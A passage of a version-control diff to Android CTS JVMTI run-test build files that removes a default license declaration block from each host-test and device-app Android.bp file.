+++ b/hostsidetests/jvmti/run-tests/test-1903/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1903HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
index 1d64769..b2a9211 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1903DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1904/Android.bp b/hostsidetests/jvmti/run-tests/test-1904/Android.bp
index 71de778..9a61f13 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1904/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1904HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
index d130da1..e0ded3c 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1904DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1906/Android.bp b/hostsidetests/jvmti/run-tests/test-1906/Android.bp
index 9665afd..8dc8213 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1906/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1906HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
index 1ad7493..b7c2379 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1906DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1907/Android.bp b/hostsidetests/jvmti/run-tests/test-1907/Android.bp
index 960f194..13fe8e4 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1907/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1907HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
index b990082..e608f12 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1907DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1908/Android.bp b/hostsidetests/jvmti/run-tests/test-1908/Android.bp
index 5d6dcbf..21aa2a3 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1908/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1908HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
index e69b256..1dc8780 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1908DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1909/Android.bp b/hostsidetests/jvmti/run-tests/test-1909/Android.bp
index 049ef1d..df71e8f 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1909/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1909HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
index 2364bf0..5ebbefc 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1909DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1910/Android.bp b/hostsidetests/jvmti/run-tests/test-1910/Android.bp
index 9165c27..791ce9f 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1910/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1910HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
index c0be83b..72f1704 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1910DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1911/Android.bp b/hostsidetests/jvmti/run-tests/test-1911/Android.bp
index 609793d..b3dc656 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1911/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1911HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
index 44ac1b2..30648cd 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1911DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1912/Android.bp b/hostsidetests/jvmti/run-tests/test-1912/Android.bp
index 903e43d..8fdc19b 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1912/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1912HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
index 1eb8420..0029625 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1912DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1913/Android.bp b/hostsidetests/jvmti/run-tests/test-1913/Android.bp
index 96c6368..5ef38fa 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1913/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1913HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
index 37a7d17..20c656f 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1913DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1914/Android.bp b/hostsidetests/jvmti/run-tests/test-1914/Android.bp
index f5ff8cc..7be3ddd 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1914/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1914HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
index 6e3e961..ab381ba 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1914DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1915/Android.bp b/hostsidetests/jvmti/run-tests/test-1915/Android.bp
index 49ee753..0ba22cc 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1915/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1915HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
index 5b65b8d..e69cbd8 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1915DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1916/Android.bp b/hostsidetests/jvmti/run-tests/test-1916/Android.bp
index f4e5c89..4e7e4e5 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1916/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1916HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
index afa6418..fbfc346 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1916DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1917/Android.bp b/hostsidetests/jvmti/run-tests/test-1917/Android.bp
index cb82cdb..64898af 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1917/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1917HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
index 053c119..6e00971 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1917DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1920/Android.bp b/hostsidetests/jvmti/run-tests/test-1920/Android.bp
index 1fac722e..c8926b9 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1920/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1920HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
index 3d7b39e..85a13cb 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1920DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1921/Android.bp b/hostsidetests/jvmti/run-tests/test-1921/Android.bp
index 16ca73d..a6c357f 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1921/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1921HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
index a8a8b2b..e55bcb6 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1921DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1922/Android.bp b/hostsidetests/jvmti/run-tests/test-1922/Android.bp
index 1cf47ec..73e8e51 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1922/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1922HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
index 08523b3..7419c80 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1922DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1923/Android.bp b/hostsidetests/jvmti/run-tests/test-1923/Android.bp
index 3f20a27..d2d6dcb 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1923/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1923HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
index ef9fafc..df1e773 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1923DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1924/Android.bp b/hostsidetests/jvmti/run-tests/test-1924/Android.bp
index 36fcd19..4c4fcd7 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1924/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1924HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
index 1105422..1a18d4f 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1924DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1925/Android.bp b/hostsidetests/jvmti/run-tests/test-1925/Android.bp
index b3d7d82..a981c3c 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1925/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1925HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
index 5e92037..9210b43 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1925DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1926/Android.bp b/hostsidetests/jvmti/run-tests/test-1926/Android.bp
index 3420b61..110866e 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1926/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1926HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
index 5de779e..d222132 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1926DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1927/Android.bp b/hostsidetests/jvmti/run-tests/test-1927/Android.bp
index 88229ff..eb7078c 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1927/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1927HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
index 7d546ff..ee61952 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1927DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1928/Android.bp b/hostsidetests/jvmti/run-tests/test-1928/Android.bp
index fe94bb8..1a678da 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1928/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1928HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
index 003d758..54511d4 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1928DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1930/Android.bp b/hostsidetests/jvmti/run-tests/test-1930/Android.bp
index b80e3b0..23c9b59 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1930/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1930HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
index 09cb450..0dcd23e 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1930DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1931/Android.bp b/hostsidetests/jvmti/run-tests/test-1931/Android.bp
index 972f75e..feb6e6a 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1931/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1931HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
index d0beb7c..c3fc64a 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1931DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1932/Android.bp b/hostsidetests/jvmti/run-tests/test-1932/Android.bp
index ff0d225..5aee52d 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1932/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1932HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
index cd1ced8..a317ca5 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1932DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1933/Android.bp b/hostsidetests/jvmti/run-tests/test-1933/Android.bp
index 1b0f483..cb0fed0b 100644
